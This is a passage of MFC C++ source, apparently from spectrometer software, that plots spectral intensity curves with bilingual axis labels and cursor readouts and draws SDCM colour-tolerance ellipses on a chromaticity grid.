ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Courier New");
Font1Portrait.CreateFont(iTemp,0,900,-900,500,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Courier New");
}
else
{
Font1Landscape.CreateFont(mRect.Height()/25,0,0,0,600,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Courier New");
Font1Portrait.CreateFont(mRect.Height()/25,0,900,-900,600,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Courier New");
}
CPen *pOldPen;
CPen Pen1,Pen2,Pen3,PenC;
if(!bPrint)
{
Pen1.CreatePen(PS_SOLID,2,RGB(255,255,255));
Pen2.CreatePen(PS_SOLID,1,RGB(255,255,255));
Pen3.CreatePen(PS_DOT,1,RGB(255,255,255));
PenC.CreatePen(PS_SOLID,1,RGB(255,255,0));
}
else
{
Pen1.CreatePen(PS_SOLID,4,RGB(0,0,0));
Pen2.CreatePen(PS_SOLID,2,RGB(0,0,0));
Pen3.CreatePen(PS_SOLID,2,RGB(0,0,0));
PenC.CreatePen(PS_SOLID,2,RGB(0,0,0));
}
pOldFont=pDC->SelectObject(&Font1Landscape);
pOldPen =pDC->SelectObject(&Pen1);
pDC->SetBkMode(TRANSPARENT);
int i;
CString sTemp;
CRect spRect;
int iFontH,iFontW;
TEXTMETRIC tm;
pDC->GetTextMetrics(&tm);
iFontH=tm.tmHeight+tm.tmExternalLeading;
iFontW=tm.tmAveCharWidth;
spRect.left = mRect.left+iFontW*6;
spRect.right = mRect.right-iFontW*3;
spRect.top = mRect.top+iFontH*2;
spRect.bottom = (int)(mRect.bottom-iFontH*2.5f);
if(bPrint)
pDC->Rectangle(mRect);
if(!m_bHaveData)
{
m_fSpect1 = g_SPEC.T_SPECT1;
m_fSpect2 = g_SPEC.T_SPECT2;
m_fInterval= 1.0f;
}
int iMax;
float fMax=Max(m_fRelSpect,iMax);
fMax = (int)(ceil((fMax + 1) / 100)) * 100.0f;
int iN = (int)((drawData.fSetWL2 - drawData.fSetWL1) / m_fInterval + 1.0f + 0.5f);
int iB = (int)((drawData.fSetWL1 - m_fSpect1) / m_fInterval + 1.0f + 0.5f);
if(m_bHaveData)
{
for(i = 0; i < iN; i++)
{
CPen Pen;
CPen *pOld;
int R,G,B;
if(1)//(m_fSpect2-m_fSpect1)<100)
{
R=96;
G=255;
B=128;
}
if(!bPrint)
Pen.CreatePen(PS_SOLID,1,RGB(R,G,B));
else
Pen.CreatePen(PS_SOLID,2,RGB(R,G,B));
pOld=pDC->SelectObject(&Pen);
int x,y;
x = (int)(spRect.left + spRect.Width() * i / (iN - 1.0f) + 0.5f);
y = (int)(spRect.bottom - spRect.Height() * m_fRelSpect[i + iB] / fMax + 0.5f);
if(i==0)
pDC->MoveTo(x,y);
else
pDC->LineTo(x,y);
pDC->SelectObject(pOld);
}
if(1)
{
if(drawData.bMouse)
{
drawData.iCurSele=(int)((drawData.pt.x-spRect.left)*(iN-1.0f)/spRect.Width()+0.5f);
}
if(drawData.iCurSele<=0)
{
drawData.iCurSele=0;
}
if(drawData.iCurSele>=(iN-1))
{
drawData.iCurSele=iN-1;
}
// drawData.bMouse=FALSE;
if(drawData.iCurSele>=0&&drawData.iCurSele<iN&&!bPrint&&drawData.bShowCur)
{
int x=(int)(spRect.left+spRect.Width()*drawData.iCurSele/(iN-1.0f)+0.5f);
int y=(int)(spRect.bottom-spRect.Height()*m_fRelSpect[drawData.iCurSele + iB]/fMax+0.5f);
pDC->MoveTo(x,spRect.top);
pDC->LineTo(x,spRect.bottom);
pDC->SetTextAlign(TA_LEFT);
CString strTemp;
if(g_bEnglish)
{
strTemp.Format("Wavelength(nm):%5.1f",drawData.fSetWL1 +drawData.iCurSele*m_fInterval);
pDC->TextOut(spRect.right-17*iFontW,(int)(spRect.top+0.0f*iFontH),strTemp);
strTemp.Format("Intensity :%5.0f",m_fRelSpect[drawData.iCurSele + iB]);
pDC->TextOut(spRect.right-17*iFontW,(int)(spRect.top+1.0f*iFontH),strTemp);
}
else
{
strTemp.Format("波长(nm) : %5.1f",drawData.fSetWL1 + drawData.iCurSele*m_fInterval);
pDC->TextOut(spRect.right-16*iFontW,(int)(spRect.top+(0.0f-0.3f)*iFontH),strTemp);
strTemp.Format("强度 : %5.0f",m_fRelSpect[drawData.iCurSele + iB]);
pDC->TextOut(spRect.right-16*iFontW,(int)(spRect.top+(1.0f-0.3f)*iFontH),strTemp);
}
}
}
}
pDC->MoveTo(spRect.left,spRect.top);
pDC->LineTo(spRect.left,spRect.bottom);
pDC->LineTo(spRect.right,spRect.bottom);
if(!bPrint)
pDC->SetTextColor(RGB(255,255,255));
else
pDC->SetTextColor(RGB(0,0,0));
pDC->SetTextAlign(TA_CENTER);
pDC->SelectObject(&Font1Landscape);
pDC->SelectObject(&Pen2);
for(i=0;i<5;i++)
{
sTemp.Format("%.1f",drawData.fSetWL1+(drawData.fSetWL2-drawData.fSetWL1)*i/4.0f);
pDC->TextOut(spRect.left+spRect.Width()*i/4,spRect.bottom+iFontH/4,sTemp);
pDC->MoveTo(spRect.left+spRect.Width()*i/4,spRect.bottom);
pDC->LineTo(spRect.left+spRect.Width()*i/4,spRect.bottom+iFontH/4);
}
if(g_bEnglish)
pDC->TextOut(spRect.left+spRect.Width()/2,spRect.bottom+iFontH*5/4,"Wavelength(nm)");
else
pDC->TextOut(spRect.left+spRect.Width()/2,spRect.bottom+iFontH*5/4,"波 长(nm)");
/////////////////////////////
if(!bPrint)
pDC->SetTextColor(RGB(255,255,0));
else
pDC->SetTextColor(RGB(0,0,0));
if(!m_bHaveData)
strNote="";
pDC->TextOut(spRect.right-10*iFontW,(int)(spRect.top-1.5f*iFontH),strNote);
if(!bPrint)
pDC->SetTextColor(RGB(255,255,255));
else
pDC->SetTextColor(RGB(0,0,0));
/////////////////////////////
pDC->SetTextAlign(TA_RIGHT);
int iXN;
if(m_iDataType==0)
iXN=6;
else
iXN=5;
for(i=0;i<=iXN;i++)
{
if(m_iDataType==0)
sTemp.Format("%.1f",0+(fMax-0.0f)*i/iXN);
else
sTemp.Format("%.0f",0+(fMax-0.0f)*i/iXN);
pDC->TextOut(spRect.left-iFontW*3/4,(int)(spRect.bottom-spRect.Height()*i/iXN-iFontH/2),sTemp);
pDC->MoveTo(spRect.left,(int)(spRect.bottom-spRect.Height()*i/iXN));
pDC->LineTo(spRect.left-iFontW/2,(int)(spRect.bottom-spRect.Height()*i/iXN));
}
pDC->SetTextAlign(TA_CENTER);
// pDC->SelectObject(&Font1Portrait);
if(g_bEnglish)
{
if(m_iDataType==TYPE_SCAN)
pDC->TextOut((int)(spRect.left-iFontW*1.1f),(int)(spRect.top-1.5*iFontH),"Spectrum");
else
pDC->TextOut((int)(spRect.left-iFontW*5.5f),(int)(spRect.top-1.5*iFontH),"Intensity");
}
else
{
if(m_iDataType==TYPE_SCAN)
pDC->TextOut((int)(spRect.left-iFontW*1.0f),(int)(spRect.top-1.5*iFontH),"相对光谱");
else
pDC->TextOut((int)(spRect.left-iFontW*3.5f),(int)(spRect.top-1.5*iFontH),"强度");
}
pDC->SelectObject(&Font1Landscape);
pDC->SelectObject(&PenC);
if(m_iDataType==TYPE_CHECK)
{
for(i=0;i<drawData.iChekStaN;i++)
{
int iCur=(int)((drawData.fCheckStaWL[i] - drawData.fSetWL1) * (iN - 1) / (drawData.fSetWL2-drawData.fSetWL1));
int x;
x=(int)(spRect.left+spRect.Width()*iCur / (iN - 1.0f)+0.5f);
pDC->MoveTo(x,spRect.top);
pDC->LineTo(x,spRect.bottom);
}
}
pDC->SelectObject(pOldFont);
pDC->SelectObject(pOldPen);
}
void CSpectData::DrawSpect(CDC *pDC,CRect mRect,DATA_DRAW &drawData,CString strNote,BOOL bPrint,BOOL bShow, int iPhType)
{
CFont *pOldFont;
CFont Font1Landscape,Font1Portrait;
if(!bPrint)
{
int iTemp;
iTemp=mRect.Height()/20;
if(iTemp<16)
iTemp=16;
if(iTemp>32)
iTemp=32;
Font1Landscape.CreateFont(iTemp,0,0,0,500,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Courier New");
Font1Portrait.CreateFont(iTemp,0,900,-900,500,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Courier New");
}
else
{
Font1Landscape.CreateFont(mRect.Height()/25,0,0,0,600,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Courier New");
Font1Portrait.CreateFont(mRect.Height()/25,0,900,-900,600,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Courier New");
}
CPen *pOldPen;
CPen Pen1,Pen2,Pen3,PenC;
if(!bPrint)
{
Pen1.CreatePen(PS_SOLID,2,RGB(255,255,255));
Pen2.CreatePen(PS_SOLID,1,RGB(255,255,255));
Pen3.CreatePen(PS_DOT,1,RGB(255,255,255));
PenC.CreatePen(PS_SOLID,1,RGB(255,255,0));
}
else
{
Pen1.CreatePen(PS_SOLID,4,RGB(0,0,0));
Pen2.CreatePen(PS_SOLID,2,RGB(0,0,0));
Pen3.CreatePen(PS_SOLID,2,RGB(0,0,0));
PenC.CreatePen(PS_SOLID,2,RGB(0,0,0));
}
pOldFont=pDC->SelectObject(&Font1Landscape);
pOldPen =pDC->SelectObject(&Pen1);
pDC->SetBkMode(TRANSPARENT);
int i;
CString sTemp;
CRect spRect;
int iFontH,iFontW;
TEXTMETRIC tm;
pDC->GetTextMetrics(&tm);
iFontH=tm.tmHeight+tm.tmExternalLeading;
iFontW=tm.tmAveCharWidth;
if(m_iDataType==TYPE_SCAN)
spRect.left = mRect.left+iFontW*5;
else
spRect.left = mRect.left+iFontW*6;
spRect.right = mRect.right-iFontW*3;
spRect.top = mRect.top+iFontH*2;
spRect.bottom = (int)(mRect.bottom-iFontH*2.5f);
if(bPrint)
pDC->Rectangle(mRect);
if(!m_bHaveData)
{
m_fSpect1 = g_SPEC.T_SPECT1;
m_fSpect2 = g_SPEC.T_SPECT2;
m_fInterval= 1.0f;
}
int iMax;
float fMax=Max(m_fRelSpect,iMax);
float fMaxWL=m_fSpect1+iMax*m_fInterval;
if(m_iDataType==TYPE_SCAN)
fMax=1.2f;
else
fMax=(int)(ceil((fMax+1)/100))*100.0f;
int iN;
iN = (int)((m_fSpect2-m_fSpect1)/m_fInterval+1.0f+0.5f);
iN = m_fRelSpect.GetSize();
if(m_bHaveData && iN > 10)
{
int iDrawType=drawData.iDrawType;
if(iDrawType == 0)
{
for(i = 0; i < iN; i++)
{
float fCurSpect = m_fSpect1 + m_fInterval * i;
CPen Pen;
CPen *pOld;
int R,G,B;
if(1)//(m_fSpect2-m_fSpect1)<100)
{
R=96;
G=255;
B=128;
}
if(!bPrint)
Pen.CreatePen(PS_SOLID,1,RGB(R,G,B));
else
Pen.CreatePen(PS_SOLID,2,RGB(R,G,B));
pOld=pDC->SelectObject(&Pen);
int x,y;
x = (int)(spRect.left + spRect.Width() * i / (iN - 1.0f) + 0.5f);
y = (int)(spRect.bottom - spRect.Height() * m_fRelSpect[i] / fMax + 0.5f);
if(i==0)
pDC->MoveTo(x,y);
else
pDC->LineTo(x,y);
pDC->SelectObject(pOld);
}
}
if(iDrawType == 1)
{
for(i = 0; (i + 1) <= iN - 1; i++)
{
float fCurSpect=m_fSpect1+m_fInterval*i;
int R,G,B;
g_doData.GetRGB(fCurSpect,R,G,B);
if((m_fSpect2-m_fSpect1)<100)
{
R=96;
G=255;
B=128;
}
CPen *pOld;
CPen Pen;
Pen.CreatePen(PS_SOLID,1,RGB(R,G,B));
pOld=pDC->SelectObject(&Pen);
CBrush Brush;
Brush.CreateSolidBrush(RGB(R,G,B));
CBrush * pOldBrush=pDC->SelectObject(&Brush);
POINT polygon[4];
polygon[0].x=(int)(spRect.left + (i) * spRect.Width() * 1.0f/(iN -1) + 0.5f);
polygon[0].y=(int)(spRect.bottom);
polygon[1].x=(int)(spRect.left + (i ) * spRect.Width() * 1.0f/(iN -1) + 0.5f);
polygon[1].y=(int)(spRect.bottom - m_fRelSpect[i] * spRect.Height() / fMax + 0.5f);
polygon[2].x=(int)(spRect.left + (i + 1) * spRect.Width() * 1.0f/(iN -1) + 0.5f);
polygon[2].y=(int)(spRect.bottom - m_fRelSpect[i + 1] * spRect.Height() / fMax + 0.5f);
polygon[3].x=(int)(spRect.left +(i + 1) * spRect.Width() * 1.0f / (iN -1) + 0.5f);
polygon[3].y=(int)(spRect.bottom);
pDC->Polygon(polygon,4);
pDC->SelectObject(pOldBrush);
pDC->SelectObject(pOld);
}
}
if(drawData.iB == drawData.iE)
{
if(drawData.bMouse)
drawData.iCurSele=(int)((drawData.pt.x-spRect.left)*(iN-1.0f)/spRect.Width()+0.5f);
if(drawData.iCurSele<=0)
drawData.iCurSele=0;
if(drawData.iCurSele>=(iN-1))
drawData.iCurSele=iN-1;
// drawData.bMouse=FALSE;
if(drawData.iCurSele>=0&&drawData.iCurSele<iN&&!bPrint&&drawData.bShowCur)
{
int x=(int)(spRect.left+spRect.Width()*drawData.iCurSele/(iN-1.0f)+0.5f);
int y=(int)(spRect.bottom-spRect.Height()*m_fRelSpect[drawData.iCurSele]/fMax+0.5f);
pDC->MoveTo(x,spRect.top);
pDC->LineTo(x,spRect.bottom);
pDC->SetTextAlign(TA_LEFT);
CString strTemp;
if(g_bEnglish)
{
strTemp.Format("Wavelength(nm):%5.1f",m_fSpect1+drawData.iCurSele*m_fInterval);
pDC->TextOut(spRect.right-17*iFontW,(int)(spRect.top+0.0f*iFontH),strTemp);
if(m_iDataType==TYPE_SCAN)
strTemp.Format("Spectrum :%5.4f",m_fRelSpect[drawData.iCurSele]);
else
strTemp.Format("Intensity :%5.0f",m_fRelSpect[drawData.iCurSele]);
pDC->TextOut(spRect.right-17*iFontW,(int)(spRect.top+1.0f*iFontH),strTemp);
}
else
{
strTemp.Format("波长(nm) : %5.1f",m_fSpect1+drawData.iCurSele*m_fInterval);
pDC->TextOut(spRect.right-16*iFontW,(int)(spRect.top+(0.0f-0.3f)*iFontH),strTemp);
if(m_iDataType==TYPE_SCAN)
strTemp.Format("相对光谱 : %5.4f",m_fRelSpect[drawData.iCurSele]);
else
strTemp.Format("强度 : %5.0f",m_fRelSpect[drawData.iCurSele]);
pDC->TextOut(spRect.right-16*iFontW,(int)(spRect.top+(1.0f-0.3f)*iFontH),strTemp);
}
}
}
else
{
int iB,iE;
if(drawData.bMouse)
{
iB=(int)((drawData.iB-spRect.left)*(iN-1.0f)/spRect.Width()+0.5f);
iE=(int)((drawData.iE-spRect.left)*(iN-1.0f)/spRect.Width()+0.5f);
if(iB>iE)
{
int iTemp;
iTemp=iB;
iB=iE;
iE=iTemp;
}
}
if(iB<=0)
iB=0;
if(iB>=(iN-1))
iB=iN-1;
if(iE<=0)
iE=0;
if(iE>=(iN-1))
iE=iN-1;
// drawData.bMouse=FALSE;
if(!bPrint&&drawData.bShowCur)
{
int x;
x=(int)(spRect.left+spRect.Width()*iB/(iN-1.0f)+0.5f);
pDC->MoveTo(x,spRect.top);
pDC->LineTo(x,spRect.bottom);
x=(int)(spRect.left+spRect.Width()*iE/(iN-1.0f)+0.5f);
pDC->MoveTo(x,spRect.top);
pDC->LineTo(x,spRect.bottom);
pDC->SetTextAlign(TA_LEFT);
CString strTemp;
float fEe;
fEe=GetEe(iB,iE);
if(g_bEnglish)
{
strTemp.Format("Ee:%smW",g_SPEC.sFormat(fEe,4));
pDC->TextOut(spRect.right-17*iFontW,(int)(spRect.top+1.0f*iFontH),strTemp);
}
else
{
strTemp.Format("辐射通量:%smW",g_SPEC.sFormat(fEe,4));
pDC->TextOut(spRect.right-16*iFontW,(int)(spRect.top+(1.0f-0.3f)*iFontH),strTemp);
}
float fWL1,fWL2;
fWL1=(float)(iB*m_fInterval+m_fSpect1);
fWL2=(float)(iE*m_fInterval+m_fSpect1);
if(g_bEnglish)
{
strTemp.Format("WL:%.1f-%.1fnm",fWL1,fWL2);
pDC->TextOut(spRect.right-16*iFontW,(int)(spRect.top+(0.0f-0.3f)*iFontH),strTemp);
}
else
{
strTemp.Format("波长:%.1f-%.1fnm",fWL1,fWL2);
pDC->TextOut(spRect.right-16*iFontW,(int)(spRect.top+(0.0f-0.3f)*iFontH),strTemp);
}
}
}
if(bShow)
{
sTemp = "";
if(iPhType == PH_F)
sTemp.Format("1.0 = %.3emW/nm",m_fPlambda);
if(iPhType == PH_E)
sTemp.Format("1.0 = %.3emW/m2/nm",m_fPlambda);
pDC->TextOut(spRect.right-18*iFontW,(int)(spRect.top-1.2f*iFontH),sTemp);
}
}
pDC->MoveTo(spRect.left,spRect.top);
pDC->LineTo(spRect.left,spRect.bottom);
pDC->LineTo(spRect.right,spRect.bottom);
if(!bPrint)
pDC->SetTextColor(RGB(255,255,255));
else
pDC->SetTextColor(RGB(0,0,0));
pDC->SetTextAlign(TA_CENTER);
pDC->SelectObject(&Font1Landscape);
pDC->SelectObject(&Pen2);
if(1)//m_fInterval==0.1f)
{
for(i=0;i<5;i++)
{
if(m_fInterval==0.1f)
sTemp.Format("%.0f",m_fSpect1+(m_fSpect2-m_fSpect1)*i/4.0f);
else
sTemp.Format("%.0f",m_fSpect1+(m_fSpect2-m_fSpect1)*i/4.0f);
pDC->TextOut(spRect.left+spRect.Width()*i/4,spRect.bottom+iFontH/4,sTemp);
pDC->MoveTo(spRect.left+spRect.Width()*i/4,spRect.bottom);
pDC->LineTo(spRect.left+spRect.Width()*i/4,spRect.bottom+iFontH/4);
}
}
else
{
float fTemp;
for(fTemp=m_fSpect1;fTemp<=m_fSpect2;fTemp=fTemp+1.0f)
{
BOOL bTemp=fabs(fTemp-m_fSpect1)>50&&fabs(fTemp-m_fSpect2)>50;
if(fTemp==m_fSpect1||fTemp==m_fSpect2||((int)(fTemp)%100==0))
{
if(bTemp||fTemp==m_fSpect1||fTemp==m_fSpect2)
{
sTemp.Format("%.0f",fTemp);
pDC->TextOut((int)(spRect.left+spRect.Width()*(fTemp-m_fSpect1)/(m_fSpect2-m_fSpect1)),spRect.bottom+iFontH/4,sTemp);
}
pDC->MoveTo((int)(spRect.left+spRect.Width()*(fTemp-m_fSpect1)/(m_fSpect2-m_fSpect1)),spRect.bottom);
pDC->LineTo((int)(spRect.left+spRect.Width()*(fTemp-m_fSpect1)/(m_fSpect2-m_fSpect1)),spRect.bottom+iFontH/4);
}
}
}
if(g_bEnglish)
pDC->TextOut(spRect.left+spRect.Width()/2,spRect.bottom+iFontH*5/4,"Wavelength(nm)");
else
pDC->TextOut(spRect.left+spRect.Width()/2,spRect.bottom+iFontH*5/4,"波 长(nm)");
/////////////////////////////
if(!bPrint)
pDC->SetTextColor(RGB(255,255,0));
else
pDC->SetTextColor(RGB(0,0,0));
if(!m_bHaveData)
strNote="";
pDC->TextOut(spRect.right-10*iFontW,(int)(spRect.top-1.5f*iFontH),strNote);
if(!bPrint)
pDC->SetTextColor(RGB(255,255,255));
else
pDC->SetTextColor(RGB(0,0,0));
/////////////////////////////
pDC->SetTextAlign(TA_RIGHT);
int iXN;
if(m_iDataType==0)
iXN=6;
else
iXN=5;
for(i=0;i<=iXN;i++)
{
if(m_iDataType==0)
sTemp.Format("%.1f",0+(fMax-0.0f)*i/iXN);
else
sTemp.Format("%.0f",0+(fMax-0.0f)*i/iXN);
pDC->TextOut(spRect.left-iFontW*3/4,(int)(spRect.bottom-spRect.Height()*i/iXN-iFontH/2),sTemp);
pDC->MoveTo(spRect.left,(int)(spRect.bottom-spRect.Height()*i/iXN));
pDC->LineTo(spRect.left-iFontW/2,(int)(spRect.bottom-spRect.Height()*i/iXN));
}
pDC->SetTextAlign(TA_CENTER);
// pDC->SelectObject(&Font1Portrait);
if(g_bEnglish)
{
if(m_iDataType==TYPE_SCAN)
pDC->TextOut((int)(spRect.left-iFontW*1.1f),(int)(spRect.top-1.5*iFontH),"Spectrum");
else
pDC->TextOut((int)(spRect.left-iFontW*5.5f),(int)(spRect.top-1.5*iFontH),"Intensity");
}
else
{
if(m_iDataType==TYPE_SCAN)
pDC->TextOut((int)(spRect.left-iFontW*1.0f),(int)(spRect.top-1.5*iFontH),"相对光谱");
else
pDC->TextOut((int)(spRect.left-iFontW*3.5f),(int)(spRect.top-1.5*iFontH),"强度");
}
pDC->SelectObject(&Font1Landscape);
pDC->SelectObject(&PenC);
if(m_iDataType==TYPE_CHECK)
{
for(i=0;i<drawData.iChekStaN;i++)
{
int iCur=(int)((drawData.fCheckStaWL[i]-m_fSpect1)*(iN-1)/(m_fSpect2-m_fSpect1));
int x;
x=(int)(spRect.left+spRect.Width()*iCur/(iN-1.0f)+0.5f);
pDC->MoveTo(x,spRect.top);
pDC->LineTo(x,spRect.bottom);
}
}
pDC->SelectObject(pOldFont);
pDC->SelectObject(pOldPen);
}
void CSpectData::ColorErr(CDC *pControlDC, BOOL bHave, CRect mRect, float x, float y, int iSeleK,int iSDCM1,int iSDCM2)
{
CFont *pOldFont;
CFont *pFont1;
CFont *pFont2;
pFont1 =new CFont;
pFont2 =new CFont;
const int X_NUM = 7;
const int Y_NUM = 10;
int HH = mRect.Height() / 18;
if(HH < 16)
{
HH = 16;
}
if(HH > 32)
{
HH = 32;
}
pFont1->CreateFont(HH,0,0,0,500,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"MS Sans Serif");
pFont2->CreateFont(HH,0,0,0,500,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"MS Sans Serif");
pOldFont = pControlDC->SelectObject(pFont1);
float ou[21];
ou[16] = x;
ou[17] = y;
CPen *pOldPen;
CPen Pen1;
CPen Pen2;
CPen Pen3;
CPen Pen4;
Pen1.CreatePen(PS_SOLID,2,RGB(255,255,255));
Pen2.CreatePen(PS_SOLID,2,RGB(255,0,0));
Pen3.CreatePen(PS_DOT,1,RGB(255,255,255));
Pen4.CreatePen(PS_SOLID,1,RGB(0,255,255));
int i,j;
//float g[6][3]={86.0f,-40.0f,45.0f,56.0f,-25.0f,23.0f,39.5f,-21.5f,26.0f,38.0f,-20.0f,25.0f,39.0f,-19.5f,27.5f,44.0f,-18.6f,27.0f};
float mina;//xy[6][2]={0.313f,0.337f,0.346f,0.359f,0.38f,0.38f,0.409f,0.394f,0.440f,0.403f,0.463f,0.42f};
//float sxy[6][2]={0.3f,0.32f,0.33f,0.340f,0.365f,0.360f,0.395f,0.375f,0.425f,0.380f,0.45f,0.4f};
float a[1000],deltx[2],delty[2],r,sita;
const float pi = 3.14159f;
int stp = 5, sig = -1, xs = 473, ys = 225, xe = 473 + 150, ye = 225 + 200, scalex, scaley;
//int f[6]={6500,5000,4000,3500,3000,2700};
char scal[40];
int Xinterval = (mRect.Width()) / (X_NUM + 2);
int Yinterval = (mRect.Height()) / (Y_NUM + 2);
xs = Xinterval;
ys = Yinterval;
xe = (X_NUM + 1) * Xinterval;
ye = (Y_NUM + 1) * Yinterval;
scalex = (int)(X_NUM * Xinterval / 0.03);
scaley = (int)(Y_NUM * Yinterval / 0.04);
int NN = g_doData.m_sdcm.GetSize();
for(i = 0; i < NN; i++)
{
deltx[0] = ou[16] - g_doData.m_sdcm.GetAt(i)->m_fx;
delty[0] = ou[17] - g_doData.m_sdcm.GetAt(i)->m_fy;
a[i] = g_doData.m_sdcm.GetAt(i)->m_fg11 * deltx[0] * deltx[0]
+ 2 * g_doData.m_sdcm.GetAt(i)->m_fg12 * deltx[0] * delty[0]
+ g_doData.m_sdcm.GetAt(i)->m_fg22 * delty[0] * delty[0];
a[i] = (float)(sqrt(a[i]) * 100.0);
}
if(iSeleK == NN)
{
mina = a[0];
sig = 0;
for(i = 0; i < NN; i++)
{
if(a[i] < mina)
{
mina = a[i];
sig = i;
}
}
}
else
{
mina = a[iSeleK];
sig = iSeleK;
}
pOldPen = pControlDC->SelectObject(&Pen1);
pControlDC->MoveTo(mRect.Width() /(X_NUM + 2), mRect.Height() / (Y_NUM + 2));
pControlDC->LineTo(mRect.Width() /(X_NUM + 2), mRect.Height() * (Y_NUM + 1) / (Y_NUM + 2));
pControlDC->LineTo(mRect.Width() *(X_NUM + 1) / (X_NUM + 2),mRect.Height() * (Y_NUM + 1) / (Y_NUM + 2));
pControlDC->LineTo(mRect.Width() *(X_NUM + 1) / (X_NUM + 2),mRect.Height() / (Y_NUM + 2));
pControlDC->LineTo(mRect.Width() /(X_NUM + 2), mRect.Height() / (Y_NUM + 2));
pControlDC->SelectObject(&Pen3);
for(i = 1; i < X_NUM; i++)
{
pControlDC->MoveTo(mRect.Width()*(i+1)/(X_NUM + 2), mRect.Height() / (Y_NUM + 2));
pControlDC->LineTo(mRect.Width()*(i+1)/(X_NUM + 2), mRect.Height() * (Y_NUM + 1) / (Y_NUM + 2));
}
for(i = 1; i < Y_NUM; i++)
{
pControlDC->MoveTo(mRect.Width() * 1 / (X_NUM + 2), mRect.Height() * (i + 1) / (Y_NUM + 2));
pControlDC->LineTo(mRect.Width() * (X_NUM + 1) / (X_NUM + 2), mRect.Height() * (i + 1) / (Y_NUM + 2));
}
if(g_bEnglish)
{
sprintf(scal," %5.1f SDCM", mina);
}
else
{
sprintf(scal,"色容差: %5.1f SDCM", mina);
}
pControlDC->SetTextColor(RGB(255, 255, 255));
if(bHave)
{
pControlDC->TextOut(mRect.Width()/6,(int)(mRect.Height()*0.2/10),scal);
}
i = sig;
sprintf(scal, "x=%.3f y=%.3f %s",
g_doData.m_sdcm.GetAt(i)->m_fx,
g_doData.m_sdcm.GetAt(i)->m_fy,
g_doData.m_sdcm.GetAt(i)->m_strName);
pControlDC->TextOut(mRect.Width()/6 - 10,mRect.Height() * (8 + 1) / 10 + 5,scal);
pControlDC->SelectObject(&Pen4);
sita = (float)(pi / 180.0);
xe = xs + (int)((g_doData.m_sdcm.GetAt(i)->m_fx - g_doData.m_sdcm.GetAt(i)->m_fxs) * scalex);
ye = ys + (int)(Yinterval * 8 - (g_doData.m_sdcm.GetAt(i)->m_fy - g_doData.m_sdcm.GetAt(i)->m_fys) * scaley);
pControlDC->Ellipse(xe - 3, ye - 3, xe + 3, ye + 3);
for(j = 1; j < 360; j+=stp)
{
r = (float)sqrt(g_doData.m_sdcm.GetAt(i)->m_fg11*(1+cos((2*j-2*stp)*sita))/2
+g_doData.m_sdcm.GetAt(i)->m_fg12*sin((2*j-2*stp)*sita)
+g_doData.m_sdcm.GetAt(i)->m_fg22*(1-cos((2*j-2*stp)*sita))/2);
r = (float)(0.01f*iSDCM1/r);
deltx[0] = (float)(r*cos((j-stp)*sita));
delty[0] = (float)(r*sin((j-stp)*sita));
r = (float)sqrt(g_doData.m_sdcm.GetAt(i)->m_fg11*(1+cos(2*j*sita))/2
+g_doData.m_sdcm.GetAt(i)->m_fg12*sin(2*j*sita)
+g_doData.m_sdcm.GetAt(i)->m_fg22*(1-cos(2*j*sita))/2);
r = (float)(0.01f*iSDCM1/r);
deltx[1] = (float)(r*cos(j*sita));
delty[1] = (float)(r*sin(j*sita));
pControlDC->MoveTo(xe+(int)(deltx[0] * scalex), ye - (int)(delty[0]*scaley));
pControlDC->LineTo(xe+(int)(deltx[1] * scalex), ye - (int)(delty[1]*scaley));
if(j % 2)
{
r = (float)sqrt(g_doData.m_sdcm.GetAt(i)->m_fg11*(1+cos((2*j-2*stp)*sita))/2
+g_doData.m_sdcm.GetAt(i)->m_fg12*sin((2*j-2*stp)*sita)
+g_doData.m_sdcm.GetAt(i)->m_fg22*(1-cos((2*j-2*stp)*sita))/2);
r = (float)(0.01f*iSDCM2/r);
deltx[0] = (float)(r*cos((j-stp)*sita));
delty[0] = (float)(r*sin((j-stp)*sita));
r = (float)sqrt(g_doData.m_sdcm.GetAt(i)->m_fg11*(1+cos(2*j*sita))/2
+g_doData.m_sdcm.GetAt(i)->m_fg12*sin(2*j*sita)
+g_doData.m_sdcm.GetAt(i)->m_fg22*(1-cos(2*j*sita))/2);
r = (float)(0.01f*iSDCM2/r);
deltx[1] = (float)(r*cos(j*sita));
delty[1] = (float)(r*sin(j*sita));
pControlDC->MoveTo(xe + (int)(deltx[0] * scalex), ye - (int)(delty[0] * scaley));
pControlDC->LineTo(xe + (int)(deltx[1] * scalex), ye - (int)(delty[1] * scaley));
}
}
if(ou[16] < g_doData.m_sdcm.GetAt(i)->m_fxs)
{
deltx[0] = g_doData.m_sdcm.GetAt(i)->m_fxs;
}
else if(ou[16] > (g_doData.m_sdcm.GetAt(i)->m_fxs+0.03))
{
deltx[0] = (float)(g_doData.m_sdcm.GetAt(i)->m_fxs+0.03);
}
else
{
deltx[0] = ou[16];
}
